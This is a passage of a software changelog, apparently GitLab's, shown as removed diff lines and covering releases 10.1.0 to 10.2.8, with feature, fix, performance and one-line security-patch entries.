-- Stop sending milestone and labels data over the wire for MR widget requests.
-
-### Added (22 changes, 15 of them are from the community)
-
-- Limit autocomplete menu to applied labels. !11110 (Vitaliy @blackst0ne Klachkov)
-- Make diff notes created on a commit in a merge request to persist a rebase. !12148
-- Allow creation of merge request from email. !13817 (janp)
-- Add an ability to use a custom branch name on creation from issues. !13884 (Vitaliy @blackst0ne Klachkov)
-- Add anonymous rate limit per IP, and authenticated (web or API) rate limits per user. !14708
-- Create a new form to add Existing Kubernetes Cluster. !14805
-- Add support of Mermaid (generation of diagrams and flowcharts from text). !15107 (Vitaliy @blackst0ne Klachkov)
-- Add total time spent to milestones. !15116 (George Andrinopoulos)
-- Add /groups/:id/subgroups endpoint to API. !15142 (marbemac)
-- Add administrative endpoint to list all pages domains. !15160 (Travis Miller)
-- Adds Rubocop rule for line break after guard clause. !15188 (Jacopo Beschi @jacopo-beschi)
-- Add edit button to mobile file view. !15199 (Travis Miller)
-- Add dropdown sort to group milestones. !15230 (George Andrinopoulos)
-- added support for ordering and sorting in notes api. !15342 (haseebeqx)
-- Hashed Storage migration script now supports migrating project attachments. !15352
-- New API endpoint - list jobs for a specified runner. !15432
-- Add new API endpoint - get a namespace by ID. !15442
-- Disables autocomplete in filtered searc. !15477 (Jacopo Beschi @jacopo-beschi)
-- Update empty state page of merge request 'changes' tab. !15611 (Vitaliy @blackst0ne Klachkov)
-- Allow git pull/push on group/user/project redirects. !15670
-- show status of gitlab reference links in wiki. !15694 (haseebeqx)
-- Add email confirmation parameters for user creation and update via API. (Daniel Juarez)
-
-### Other (17 changes, 7 of them are from the community)
-
-- Enable UnnecessaryMantissa in scss-lint. !15255 (Takuya Noguchi)
-- Add untracked files to uploads table. !15270
-- Move update_project_counter_caches? out of issue and merge request. !15300 (George Andrinopoulos)
-- Removed tooltip from clone dropdown. !15334
-- Clean up empty fork networks. !15373
-- Create issuable destroy service. !15604 (George Andrinopoulos)
-- Upgrade seed-fu to 2.3.7. !15607 (Takuya Noguchi)
-- Rename GKE as Kubernetes Engine. !15608 (Takuya Noguchi)
-- Prefer ci_config_path validation for leading slashes instead of sanitizing the input. !15672 (Christiaan Van den Poel)
-- Fix typo in docs about Elasticsearch. !15699 (Takuya Noguchi)
-- Add internationalization support for the prometheus integration. !33338
-- Export text utils functions as es6 module and add tests.
-- Stop reloading the page when using pagination and tabs - use API calls - in Pipelines table.
-- Clean up schema of the "issues" table.
-- Clarify wording of protected branch settings for the default branch.
-- Update svg external dependency.
-- Clean up schema of the "merge_requests" table.
-
-
-## 10.2.8 (2018-02-07)
-
-### Security (4 changes)
-
-- Fix namespace access issue for GitHub, BitBucket, and GitLab.com project importers.
-- Fix stored XSS in code blocks that ignore highlighting.
-- Fix wilcard protected tags protecting all branches.
-- Restrict Todo API mark_as_done endpoint to the user's todos only.
-
-
-## 10.2.7 (2018-01-18)
-
-- No changes.
-
-## 10.2.6 (2018-01-11)
-
-### Security (9 changes, 1 of them is from the community)
-
-- Fix writable shared deploy keys.
-- Filter out sensitive fields from the project services API. (Robert Schilling)
-- Fix RCE via project import mechanism.
-- Fixed IPython notebook output not being sanitized.
-- Prevent OAuth login POST requests when a provider has been disabled.
-- Prevent a SQL injection in the MilestonesFinder.
-- Check user authorization for source and target projects when creating a merge request.
-- Fix path traversal in gitlab-ci.yml cache:key.
-- Fix XSS vulnerability in pipeline job trace.
-
-
-## 10.2.5 (2017-12-15)
-
-### Fixed (8 changes)
-
-- Create a fork network for forks with a deleted source. !15595
-- Correctly link to a forked project from the new fork page. !15653
-- Fix the fork project functionality for projects with hashed storage. !15671
-- Fix updateEndpoint undefined error for issue_show app root. !15698
-- Fix broken illustration images for monitoring page empty states. !15889
-- Fix related branches/Merge requests failing to load when the hostname setting is changed.
-- Fix gitlab:import:repos Rake task moving repositories into the wrong location.
-- Gracefully handle case when repository's root ref does not exist.
-
-### Performance (3 changes)
-
-- Keep track of all circuitbreaker keys in a set. !15613
-- Only load branch names for protected branch checks.
-- Optimize API /groups/:id/projects by preloading associations.
-
-
-## 10.2.4 (2017-12-07)
-
-### Security (5 changes)
-
-- Fix e-mail address disclosure through member search fields
-- Prevent creating issues through API when user does not have permissions
-- Prevent an information disclosure in the Groups API
-- Fix user without access to private Wiki being able to see it on the project page
-- Fix Cross-Site Scripting (XSS) vulnerability while editing a comment
-
-
-## 10.2.3 (2017-11-30)
-
-### Fixed (7 changes)
-
-- Fix hashed storage for Import/Export uploads. !15482
-- Ensure that rake gitlab:cleanup:repos task does not mess with hashed repositories. !15520
-- Ensure that rake gitlab:cleanup:dirs task does not mess with hashed repositories. !15600
-- Fix WIP system note not being created.
-- Fix link text from group context.
-- Fix defaults for MR states and merge statuses.
-- Fix pulling and pushing using a personal access token with the sudo scope.
-
-### Performance (3 changes)
-
-- Drastically improve project search performance by no longer searching namespace name.
-- Reuse authors when rendering event Atom feeds.
-- Optimise StuckCiJobsWorker using cheap SQL query outside, and expensive inside.
-
-
-## 10.2.2 (2017-11-23)
-
-### Fixed (5 changes)
-
-- Label addition/removal are not going to be redacted wrongfully in the API. !15080
-- Fix bitbucket wiki import with hashed storage enabled. !15490
-- Impersonation no longer gets stuck on password change. !15497
-- Fix blank states using old css.
-- Fix promoting milestone updating all issuables without milestone.
-
-### Performance (3 changes)
-
-- Update Issue Boards to fetch the notification subscription status asynchronously.
-- Update composite pipelines index to include "id".
-- Use arrays in Pipeline#latest_builds_with_artifacts.
-
-### Other (2 changes)
-
-- Don't move repositories and attachments for projects using hashed storage. !15479
-- Add logs for monitoring the merge process.
-
-
-## 10.2.1 (2017-11-22)
-
-### Fixed (1 change)
-
-- Force disable Prometheus metrics.
-
-
-## 10.2.0 (2017-11-22)
-
-### Security (4 changes)
-
-- Upgrade Ruby to 2.3.5 to include security patches. !15099
-- Prevent OAuth phishing attack by presenting detailed wording about app to user during authorization.
-- Convert private tokens to Personal Access Tokens with sudo scope.
-- Remove private tokens from web interface and API.
-
-### Removed (5 changes)
-
-- Remove help text from group issues page and group merge requests page. !14963
-- Remove overzealous tooltips in projects page tabs. !15017
-- Stop merge requests from fetching their refs when the data is already available. !15129
-- Remove update merge request worker tagging.
-- Remove Session API now that private tokens are removed from user API endpoints.
-
-### Fixed (75 changes, 18 of them are from the community)
-
-- Fix 404 errors in API caused when the branch name had a dot. !14462 (gvieira37)
-- Remove unnecessary alt-texts from pipeline emails. !14602 (gernberg)
-- Renders 404 in commits controller if no commits are found for a given path. !14610 (Guilherme Vieira)
-- Cleanup data-page attribute after each Karma test. !14742
-- Removed extra border radius from .file-editor and .file-holder when editing a file. !14803 (Rachel Pipkin)
-- Add support for markdown preview to group milestones. !14806 (Vitaliy @blackst0ne Klachkov)
-- Fixed 'Removed source branch' checkbox in merge widget being ignored. !14832
-- Fix unnecessary ajax requests in admin broadcast message form. !14853
-- Make NamespaceSelect change URL when filtering. !14888
-- Get true failure from evalulate_script by checking for element beforehand. !14898
-- Fix SAML error 500 when no groups are defined for user. !14913
-- Fix 500 errors caused by empty diffs in some discussions. !14945 (Alexander Popov)
-- Fix the atom feed for group events. !14974
-- Hides pipeline duration in commit box when it is zero (nil). !14979 (gvieira37)
-- Add new diff discussions on MR diffs tab in "realtime". !14981
-- Returns a ssh url for go-get=1. !14990 (gvieira37)
-- Case insensitive search for branches. !14995 (George Andrinopoulos)
-- Fixes 404 error to 'Issues assigned to me' and 'Issues I've created' when issues are disabled. !15021 (Jacopo Beschi @jacopo-beschi)
-- Update the groups API documentation. !15024 (Robert Schilling)
-- Validate username/pw for Jiraservice, require them in the API. !15025 (Robert Schilling)
-- Update Merge Request polling so there is only one request at a time. !15032
-- Use project select dropdown not only as a combobutton. !15043
-- Remove create MR button from issues when MRs are disabled. !15071 (George Andrinopoulos)
-- Tighten up whitelisting of certain Geo routes. !15082
-- Allow to disable the Performance Bar. !15084
-- Refresh open Issue and Merge Request project counter caches when re-opening. !15085 (Rob Ede @robjtede)
-- Fix markdown form tabs toggling preview mode from double clicking write mode button. !15119
-- Fix cancel button not working while uploading on the new issue page. !15137
-- Fix webhooks recent deliveries. !15146 (Alexander Randa (@randaalex))
-- Fix issues with forked projects of which the source was deleted. !15150
-- Fix GPG signature popup info in Safari and Firefox. !15228
-- Fix GFM reference links for closed milestones. !15234 (Vitaliy @blackst0ne Klachkov)
-- When deleting merged branches, ignore protected tags. !15252
-- Revert a regression on runners sorting (!15134). !15341 (Takuya Noguchi)
-- Don't use JS to delete memberships from projects and groups. !15344
-- Don't try to create fork network memberships for forks with a missing source. !15366
-- Fix gitlab:backup rake for hashed storage based repositories. !15400
-- Fix issue where clicking a GPG verification badge would scroll to the top of the page. !15407
-- Update container repository path reference and allow using double underscore. !15417
-- Fix crash when navigating to second page of the group dashboard when there are projects and groups on the first page. !15456
-- Fix flash errors showing up on a non configured prometheus integration. !35652
-- Fix timezone bug in Pikaday and upgrade Pikaday version.
-- Fix arguments Import/Export error importing project merge requests.
-- Moves mini graph of pipeline to the end of sentence in MR widget. Cleans HTML and tests.
-- Fix user autocomplete in subgroups.
-- Fixed user profile activity tab being off-screen on mobile.
-- Fix diff parser so it tolerates to diff special markers in the content.
-- Fix a migration that adds merge_requests_ff_only_enabled column to MR table.
-- Don't create build failed todos when the job is automatically retried.
-- Render 404 when polling commit notes without having permissions.
-- Show error message when fast-forward merge is not possible.
-- Prevents position update for image diff notes.
-- Mobile-friendly table on Admin Runners. (Takuya Noguchi)
-- Decreases z-index of select2 to a lower number of our navigation bar.
-- Fix broken Members link when relative URL root paths are used.
-- Avoid regenerating the ref path for the environment.
-- Memoize GitLab logger to reduce open file descriptors.
-- Fix hashed storage with project transfers to another namespace.
-- Fix bad type checking to prevent 0 count badge to be shown.
-- Fix problem with issuable header wrapping when content is too long.
-- Move retry button in job page to sidebar.
-- Formats bytes to human reabale number in registry table.
-- Fix commit pipeline showing wrong status.
-- Include link to issue in reopen message for Slack and Mattermost notifications.
-- Fix double border UI bug on pipelines/environments table and pagination.
-- Remove native title tooltip in pipeline jobs dropdown in Safari.
-- Fix namespacing for MergeWhenPipelineSucceedsService in MR API.
-- Prevent error when authorizing an admin-created OAauth application without a set owner.
-- Always return full avatar URL for private/internal groups/projects when asset host is set.
-- Make sure group and project creation is blocked for new users that are external by default.
-- Make sure NotesActions#noteable returns a Noteable in the update action.
-- Reallow project paths ending in periods.
-- Only set Auto-Submitted header once for emails on push.
-- Fix overlap of right-sidebar and main content when creating a Wiki page.
-- Enables scroll to bottom once user has scrolled back to bottom in job log.
-
-### Changed (21 changes, 7 of them are from the community)
-
-- Added possibility to enter past date in /spend command to log time in the past. !3044 (g3dinua, LockiStrike)
-- Add Prometheus equivalent of all InfluxDB metrics. !13891
-- Show collapsible project lists. !14055
-- Make Prometheus metrics endpoint return empty response when metrics are disabled. !14490
-- Support custom attributes on groups and projects. !14593 (Markus Koller)
-- Avoid fetching all branches for branch existence checks. !14778
-- Update participants and subscriptions button in issuable sidebar to be async. !14836
-- Replace WikiPage::CreateService calls with wiki_page factory in specs. !14850 (Jacopo Beschi @jacopo-beschi)
-- Add lazy option to UserAvatarImage. !14895
-- Add readme only option as project view. !14900
-- Todos spelled correctly on Todos list page. !15015
-- Support uml:: and captions in reStructuredText. !15120 (Markus Koller)
-- Add system hooks user_rename and group_rename. !15123
-- Change tags order in refs dropdown. !15235 (Vitaliy @blackst0ne Klachkov)
-- Change default cluster size to n1-default-2. !39649 (Fabio Busatto)
-- Change 'Sign Out' route from a DELETE to a GET. !39708 (Joe Marty)
-- Change background color of nav sidebar to match other gl sidebars.
-- Update i18n section in FE docs for marking and interpolation.
-- Add a count of changes to the merge requests API.
-- Improve GitLab Import rake task to work with Hashed Storage and Subgroups.
-- 14830 Move GitLab export option to top of import list when creating a new project.
-
-### Performance (14 changes)
-
-- Improve branch listing page performance. !14729
-- Improve DashboardController#activity.json performance. !14985
-- Add a latest_merge_request_diff_id column to merge_requests. !15035
-- Improve performance of the /projects/:id/repository/branches API endpoint. !15215
-- Ensure merge requests with lots of version don't time out when searching for pipelines.
-- Speed up issues list APIs.
-- Remove Filesystem check metrics that use too much CPU to handle requests.
-- Disable Unicorn sampling in Sidekiq since there are no Unicorn sockets to monitor.
-- Truncate tree to max 1,000 items and display notice to users.
-- Add Performance improvement as category on the changelog.
-- Cache commits fetched from the repository.
-- Cache the number of user SSH keys.
-- Optimise getting the pipeline status of commits.
-- Improve performance of commits list by fully using DB index when getting commit note counts.
-
-### Added (26 changes, 10 of them are from the community)
-
-- Expose duration in Job entity. !13644 (Mehdi Lahmam (@mehlah))
-- Prevent git push when LFS objects are missing. !13837
-- Automatic configuration settings page. !13850 (Francisco Lopez)
-- Add API endpoints for Pages Domains. !13917 (Travis Miller)
-- Include the changes in issuable webhook payloads. !14308
-- Add Packagist project service. !14493 (Matt Coleman)
-- Add sort runners on admin runners. !14661 (Takuya Noguchi)
-- Repo Editor: Add option to start a new MR directly from comit section. !14665
-- Issue JWT token with registry:catalog:* scope when requested by GitLab admin. !14751 (Vratislav Kalenda)
-- Support show-all-refs for git over HTTP. !14834
-- Add loading button for new UX paradigm. !14883
-- Get Project Branch API shows an helpful error message on invalid refname. !14884 (Jacopo Beschi @jacopo-beschi)
-- Refactor have_http_status into have_gitlab_http_status. !14958 (Jacopo Beschi @jacopo-beschi)
-- Suggest to rename the remote for existing repository instructions. !14970 (helmo42)
-- Adds project_id to pipeline hook data. !15044 (Jacopo Beschi @jacopo-beschi)
-- Hashed Storage support for Attachments. !15068
-- Add metric tagging for sidekiq workers. !15111
-- Expose project visibility as CI variable - CI_PROJECT_VISIBILITY. !15193
-- Allow multiple queries in a single Prometheus graph to support additional environments (Canary, Staging, et al.). !15201
-- Allow promoting project milestones to group milestones.
-- Added submodule support in multi-file editor.
-- Add applications section to GKE clusters page to easily install Helm Tiller, Ingress.
-- Allow files to uploaded in the multi-file editor.
-- Add Ingress to available Cluster applications.
-- Adds typescript support.
-- Add sudo scope for OAuth and Personal Access Tokens to be used by admins to impersonate other users on the API.
-
-### Other (18 changes, 8 of them are from the community)
-
-- Decrease Perceived Complexity threshold to 14. !14231 (Maxim Rydkin)
-- Replace the 'features/explore/projects.feature' spinach test with an rspec analog. !14755 (Vitaliy @blackst0ne Klachkov)
-- While displaying a commit, do not show list of related branches if there are thousands of branches. !14812
-- Removed d3.js from the graph and users bundles and used the common_d3 bundle instead. !14826
-- Make contributors page translatable. !14915
-- Decrease ABC threshold to 54.28. !14920 (Maxim Rydkin)
-- Clarify system_hook triggers in documentation. !14957 (Joe Marty)
-- Free up some reserved group names. !15052
-- Bump carrierwave to 1.2.1. !15072 (Takuya Noguchi)
-- Enable NestingDepth (level 6) on scss-lint. !15073 (Takuya Noguchi)
-- Enable BorderZero rule in scss-lint. !15168 (Takuya Noguchi)
-- Internationalized tags page. !38589
-- Moves placeholders components into shared folder with documentation. Makes them easier to reuse in MR and Snippets comments.
-- Reorganize welcome page for new users.
-- Refactor GroupLinksController. (15121)
-- Remove filter icon from search bar.
-- Use title as placeholder instead of issue title for reusability.
-- Add Gitaly metrics to the performance bar.
-
-
-## 10.1.7 (2018-01-18)
-
-- No changes.
-
-## 10.1.6 (2018-01-11)
-
-### Security (8 changes, 1 of them is from the community)
-
-- Fix writable shared deploy keys.
-- Filter out sensitive fields from the project services API. (Robert Schilling)
-- Fix RCE via project import mechanism.
-- Prevent OAuth login POST requests when a provider has been disabled.
-- Prevent a SQL injection in the MilestonesFinder.
-- Check user authorization for source and target projects when creating a merge request.
-- Fix path traversal in gitlab-ci.yml cache:key.
-- Fix XSS vulnerability in pipeline job trace.
-
-
-## 10.1.5 (2017-12-07)
-
-### Security (5 changes)
-
-- Fix e-mail address disclosure through member search fields
-- Prevent creating issues through API when user does not have permissions
-- Prevent an information disclosure in the Groups API
-- Fix user without access to private Wiki being able to see it on the project page
-- Fix Cross-Site Scripting (XSS) vulnerability while editing a comment
-
-
-## 10.1.4 (2017-11-14)
-
-### Fixed (4 changes)
-
-- Don't try to create fork network memberships for forks with a missing source. !15366
-- Formats bytes to human reabale number in registry table.
-- Prevent error when authorizing an admin-created OAauth application without a set owner.
-- Prevents position update for image diff notes.
-
-
-## 10.1.3 (2017-11-10)
-
-- [SECURITY] Prevent OAuth phishing attack by presenting detailed wording about app to user during authorization.
-- [FIXED] Fix cancel button not working while uploading on the new issue page. !15137
-- [FIXED] Fix webhooks recent deliveries. !15146 (Alexander Randa (@randaalex))
-- [FIXED] Fix issues with forked projects of which the source was deleted. !15150
-- [FIXED] Fix GPG signature popup info in Safari and Firefox. !15228
-- [FIXED] Make sure group and project creation is blocked for new users that are external by default.
-- [FIXED] Fix arguments Import/Export error importing project merge requests.
-- [FIXED] Fix diff parser so it tolerates to diff special markers in the content.
-- [FIXED] Fix a migration that adds merge_requests_ff_only_enabled column to MR table.
-- [FIXED] Render 404 when polling commit notes without having permissions.
-- [FIXED] Show error message when fast-forward merge is not possible.
-- [FIXED] Avoid regenerating the ref path for the environment.
-- [PERFORMANCE] Remove Filesystem check metrics that use too much CPU to handle requests.
-
-## 10.1.2 (2017-11-08)
-
-- [SECURITY] Add X-Content-Type-Options header in API responses to make it more difficult to find other vulnerabilities.
-- [SECURITY] Properly translate IP addresses written in decimal, octal, or other formats in SSRF protections in project imports.
-- [FIXED] Fix TRIGGER checks for MySQL.
-
-## 10.1.1 (2017-10-31)
-
-- [FIXED] Auto Devops kubernetes default namespace is now correctly built out of gitlab project group-name. !14642 (Mircea Danila Dumitrescu)
-- [FIXED] Forbid the usage of `Redis#keys`. !14889
-- [FIXED] Make the circuitbreaker more robust by adding higher thresholds, and multiple access attempts. !14933
-- [FIXED] Only cache last push event for existing projects when pushing to a fork. !14989
-- [FIXED] Fix bug preventing secondary emails from being confirmed. !15010
-- [FIXED] Fix broken wiki pages that link to a wiki file. !15019
-- [FIXED] Don't rename paths that were freed up when upgrading. !15029
-- [FIXED] Fix bitbucket login. !15051
-- [FIXED] Update gitaly in GitLab 10.1 to 0.43.1 for temp file cleanup. !15055
-- [FIXED] Use the correct visibility attribute for projects in system hooks. !15065
-- [FIXED] Normalize LDAP DN when looking up identity.
-- [FIXED] Adds callback functions for initial request in clusters page.
-- [FIXED] Fix missing Import/Export issue assignees.
-- [FIXED] Allow boards as top level route.
-- [FIXED] Fix widget of locked merge requests not being presented.
-- [FIXED] Fix editing issue description in mobile view.
-- [FIXED] Fix deletion of container registry or images returning an error.
-- [FIXED] Fix the writing of invalid environment refs.
-- [CHANGED] Store circuitbreaker settings in the database instead of config. !14842
-- [CHANGED] Update default disabled merge request widget message to reflect a general failure. !14960
-- [PERFORMANCE] Stop merge requests with thousands of commits from timing out. !15063
-
-## 10.1.0 (2017-10-22)
-
-- [SECURITY] Use a timeout on certain git operations. !14872
-- [SECURITY] Move project repositories between namespaces when renaming users.
-- [SECURITY] Prevent an open redirect on project pages.
-- [SECURITY] Prevent a persistent XSS in user-provided markup.
-- [REMOVED] Remove the ability to visit the issue edit form directly. !14523
-- [REMOVED] Remove animate.js and label animation.
-- [FIXED] Perform prometheus data endpoint requests in parallel. !14003
-- [FIXED] Escape quotes in git username. !14020 (Brandon Everett)
-- [FIXED] Fixed non-UTF-8 valid branch names from causing an error. !14090
-- [FIXED] Read import sources from setting at first initialization. !14141 (Visay Keo)
-- [FIXED] Display full pre-receive and post-receive hook output in GitLab UI. !14222 (Robin Bobbitt)
-- [FIXED] Fix incorrect X-axis labels in Prometheus graphs. !14258
-- [FIXED] Fix the default branches sorting to actually be 'Last updated'. !14295
-- [FIXED] Fixes project denial of service via gitmodules using Extended ASCII. !14301
-- [FIXED] Fix the filesystem shard health check to check all configured shards. !14341
-- [FIXED] Compare email addresses case insensitively when verifying GPG signatures. !14376 (Tim Bishop)
-- [FIXED] Allow the git circuit breaker to correctly handle missing repository storages. !14417
-- [FIXED] Fix `rake gitlab:incoming_email:check` and make it report the actual error. !14423
-- [FIXED] Does not check if an invariant hashed storage path exists on disk when renaming projects. !14428
-- [FIXED] Also reserve refs/replace after importing a project. !14436
-- [FIXED] Fix profile image orientation based on EXIF data gvieira37. !14461 (gvieira37)
-- [FIXED] Move the deployment flag content to the left when deployment marker is near the end. !14514
-- [FIXED] Fix notes type created from import. This should fix some missing notes issues from imported projects. !14524
-- [FIXED] Fix bottom spacing for dropdowns that open upwards. !14535
-- [FIXED] Adjusts tag link to avoid underlining spaces. !14544 (Guilherme Vieira)
-- [FIXED] Add missing space in Sidekiq memory killer log message. !14553 (Benjamin Drung)
-- [FIXED] Ensure no exception is raised when Raven tries to get the current user in API context. !14580
-- [FIXED] Fix edit project service cancel button position. !14596 (Matt Coleman)
-- [FIXED] Fix case sensitive email confirmation on signup. !14606 (robdel12)
-- [FIXED] Whitelist authorized_keys.lock in the gitlab:check rake task. !14624
-- [FIXED] Allow merge in MR widget with no pipeline but using "Only allow merge requests to be merged if the pipeline succeeds". !14633
-- [FIXED] Fix navigation dropdown close animation on mobile screens. !14649
-- [FIXED] Fix the project import with issues and milestones. !14657
-- [FIXED] Use explicit boolean true attribute for show-disabled-button in Vue files. !14672
-- [FIXED] Make tabs on top scrollable on admin dashboard. !14685 (Takuya Noguchi)
-- [FIXED] Fix broken Y-axis scaling in some Prometheus graphs. !14693
-- [FIXED] Search or compare LDAP DNs case-insensitively and ignore excess whitespace. !14697
-- [FIXED] Allow prometheus graphs to correctly handle NaN values. !14741
-- [FIXED] Don't show an "Unsubscribe" link in snippet comment notifications. !14764
-- [FIXED] Fixed duplicate notifications when added multiple labels on an issue. !14798
-- [FIXED] Fix alignment for indeterminate marker in dropdowns. !14809
-- [FIXED] Fix error when updating a forked project with deleted `ForkedProjectLink`. !14916
-- [FIXED] Correctly render asset path for locales with a region. !14924
-- [FIXED] Fix the external URLs generated for online view of HTML artifacts. !14977
-- [FIXED] Reschedule merge request diff background migrations to catch failures from 9.5 run.
-- [FIXED] fix merge request widget status icon for failed CI.
-- [FIXED] Fix the number representing the amount of commits related to a push event.
-- [FIXED] Sync up hover and legend data across all graphs for the prometheus dashboard.
-- [FIXED] Fixes mini pipeline graph in commit view.
-- [FIXED] Fix comment deletion confirmation dialog typo.
-- [FIXED] Fix project snippets breadcrumb link.
-- [FIXED] Make usage ping scheduling more robust.
-- [FIXED] Make "merge ongoing" check more consistent.
-- [FIXED] Add 1000+ counters to job page.
-- [FIXED] Fixed issue/merge request breadcrumb titles not having links.
-- [FIXED] Fixed commit avatars being centered vertically.
-- [FIXED] Tooltips in the commit info box now all face the same direction. (Jedidiah Broadbent)
-- [FIXED] Fixed navbar title colors leaking out of the navbar.
-- [FIXED] Fix bug that caused merge requests with diff notes imported from Bitbucket to raise errors.
-- [FIXED] Correctly detect multiple issue URLs after 'Closes...' in MR descriptions.
-- [FIXED] Set default scope on PATs that don't have one set to allow them to be revoked.
-- [FIXED] Fix application setting to cache nil object.
-- [FIXED] Fix image diff swipe handle offset to correctly align with the frame.
-- [FIXED] Force non diff resolved discussion to display when collapse toggled.
-- [FIXED] Fix resolved discussions not expanding on side by side view.
-- [FIXED] Fixed the sidebar scrollbar overlapping links.
-- [FIXED] Issue board tooltips are now the correct width when the column is collapsed. (Jedidiah Broadbent)
-- [FIXED] Improve autodevops banner UX and render it only in project page.
-- [FIXED] Fix typo in cycle analytics breaking time component.
-- [FIXED] Force two up view to load by default for image diffs.
-- [FIXED] Fixed milestone breadcrumb links.
-- [FIXED] Fixed group sort dropdown defaulting to empty.
-- [FIXED] Fixed notes not being scrolled to in merge requests.
-- [FIXED] Adds Event polyfill for IE11.
-- [FIXED] Update native unicode emojis to always render as normal text (previously could render italicized). (Branka Martinovic)
-- [FIXED] Sort JobsController by id, not created_at.
-- [FIXED] Fix revision and total size missing for Container Registry.
-- [FIXED] Fixed milestone issuable assignee link URL.
-- [FIXED] Fixed breadcrumbs container expanding in side-by-side diff view.
-- [FIXED] Fixed merge request widget merged & closed date tooltip text.
-- [FIXED] Prevent creating multiple ApplicationSetting instances.
-- [FIXED] Fix username and ID not logging in production_json.log for Git activity.
-- [FIXED] Make Redcarpet Markdown renderer thread-safe.
-- [FIXED] Two factor auth messages in settings no longer overlap the button. (Jedidiah Broadbent)
-- [FIXED] Made the "remember me" check boxes have consistent styles and alignment. (Jedidiah Broadbent)
-- [FIXED] Prevent branches or tags from starting with invalid characters (e.g. -, .).
-- [DEPRECATED] Removed two legacy config options. (Daniel Voogsgerd)
-- [CHANGED] Show notes number more user-friendly in the graph. !13949 (Vladislav Kaverin)
-- [CHANGED] Link SAML users to LDAP by email. !14216
-- [CHANGED] Display whether branch has been merged when deleting protected branch. !14220
-- [CHANGED] Make the labels in the Compare form less confusing. !14225
-- [CHANGED] Confirmation email shows link as text instead of human readable text. !14243 (bitsapien)
-- [CHANGED] Return only group's members in user dropdowns on issuables list pages. !14249
-- [CHANGED] Added defaults for protected branches dropdowns on the repository settings. !14278
-- [CHANGED] Show confirmation modal before deleting account. !14360
-- [CHANGED] Allow creating merge requests across a fork network. !14422
-- [CHANGED] Re-arrange script HTML tags before template HTML tags in .vue files. !14671
-- [CHANGED] Create idea of read-only database. !14688
-- [CHANGED] Add active states to nav bar counters.
-- [CHANGED] Add view replaced file link for image diffs.
-- [CHANGED] Adjust tooltips to adhere to 8px grid and make them more readable.
-- [CHANGED] breadcrumbs receives padding when double lined.
-- [CHANGED] Allow developer role to admin milestones.
-- [CHANGED] Stop using Sidekiq for updating Key#last_used_at.
-- [CHANGED] Include GitLab full name in Slack messages.
-- [ADDED] Expose last pipeline details in API response when getting a single commit. !13521 (Mehdi Lahmam (@mehlah))
-- [ADDED] Allow to use same periods for different housekeeping tasks (effectively skipping the lesser task). !13711 (cernvcs)
-- [ADDED] Add GitLab-Pages version to Admin Dashboard. !14040 (travismiller)
-- [ADDED] Commenting on image diffs. !14061
-- [ADDED] Script to migrate project's repositories to new Hashed Storage. !14067
-- [ADDED] Hide close MR button after merge without reloading page. !14122 (Jacopo Beschi @jacopo-beschi)
-- [ADDED] Add Gitaly version to Admin Dashboard. !14313 (Jacopo Beschi @jacopo-beschi)
-- [ADDED] Add 'closed_at' attribute to Issues API. !14316 (Vitaliy @blackst0ne Klachkov)
-- [ADDED] Add tooltip for milestone due date to issue and merge request lists. !14318 (Vitaliy @blackst0ne Klachkov)
-- [ADDED] Improve list of sorting options. !14320 (Vitaliy @blackst0ne Klachkov)
-- [ADDED] Add client and call site metadata to Gitaly calls for better traceability. !14332
-- [ADDED] Strip gitlab-runner section markers in build trace HTML view. !14393
-- [ADDED] Add online view of HTML artifacts for public projects. !14399
-- [ADDED] Create Kubernetes cluster on GKE from k8s service. !14470
-- [ADDED] Add support for GPG subkeys in signature verification. !14517
-- [ADDED] Parse and store gitlab-runner timestamped section markers. !14551
-- [ADDED] Add "implements" to the default issue closing message regex. !14612 (Guilherme Vieira)
-- [ADDED] Replace `tag: true` into `:tag` in the specs. !14653 (Jacopo Beschi @jacopo-beschi)
-- [ADDED] Discussion lock for issues and merge requests.
-- [ADDED] Add an API endpoint to determine the forks of a project.
-- [ADDED] Add help text to runner edit: tags should be separated by commas. (Brendan O'Leary)
-- [ADDED] Only copy old/new code when selecting left/right side of parallel diff.
-- [ADDED] Expose avatar_url when requesting list of projects from API with simple=true.
-- [ADDED] A confirmation email is now sent when adding a secondary email address. (digitalmoksha)
-- [ADDED] Move Custom merge methods from EE.
-- [ADDED] Makes @mentions links have a different styling for better separation.
-- [ADDED] Added tabs to dashboard/projects to easily switch to personal projects.
-- [OTHER] Extract AutocompleteController#users into finder. !13778 (Maxim Rydkin, Mayra Cabrera)
-- [OTHER] Replace 'project/wiki.feature' spinach test with an rspec analog. !13856 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Expand docs for changing username or group path. !13914
-- [OTHER] Move `lib/ci` to `lib/gitlab/ci`. !14078 (Maxim Rydkin)
-- [OTHER] Decrease Cyclomatic Complexity threshold to 13. !14152 (Maxim Rydkin)
-- [OTHER] Decrease Perceived Complexity threshold to 15. !14160 (Maxim Rydkin)
-- [OTHER] Replace project/group_links.feature spinach test with an rspec analog. !14169 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the project/milestone.feature spinach test with an rspec analog. !14171 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the profile/emails.feature spinach test with an rspec analog. !14172 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the project/team_management.feature spinach test with an rspec analog. !14173 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the 'project/merge_requests/accept.feature' spinach test with an rspec analog. !14176 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the 'project/builds/summary.feature' spinach test with an rspec analog. !14177 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Optimize the boards' issues fetching. !14198
-- [OTHER] Replace the 'project/merge_requests/revert.feature' spinach test with an rspec analog. !14201 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the 'project/issues/award_emoji.feature' spinach test with an rspec analog. !14202 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the 'profile/active_tab.feature' spinach test with an rspec analog. !14239 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the 'search.feature' spinach test with an rspec analog. !14248 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Load sidebar participants avatars only when visible. !14270
-- [OTHER] Adds gitlab features and components to usage ping data. !14305
-- [OTHER] Replace the 'project/archived.feature' spinach test with an rspec analog. !14322 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the 'project/commits/revert.feature' spinach test with an rspec analog. !14325 (Vitaliy @blackst0ne Klachkov)
-- [OTHER] Replace the 'project/snippets.feature' spinach test with an rspec analog. !14326 (Vitaliy @blackst0ne Klachkov)
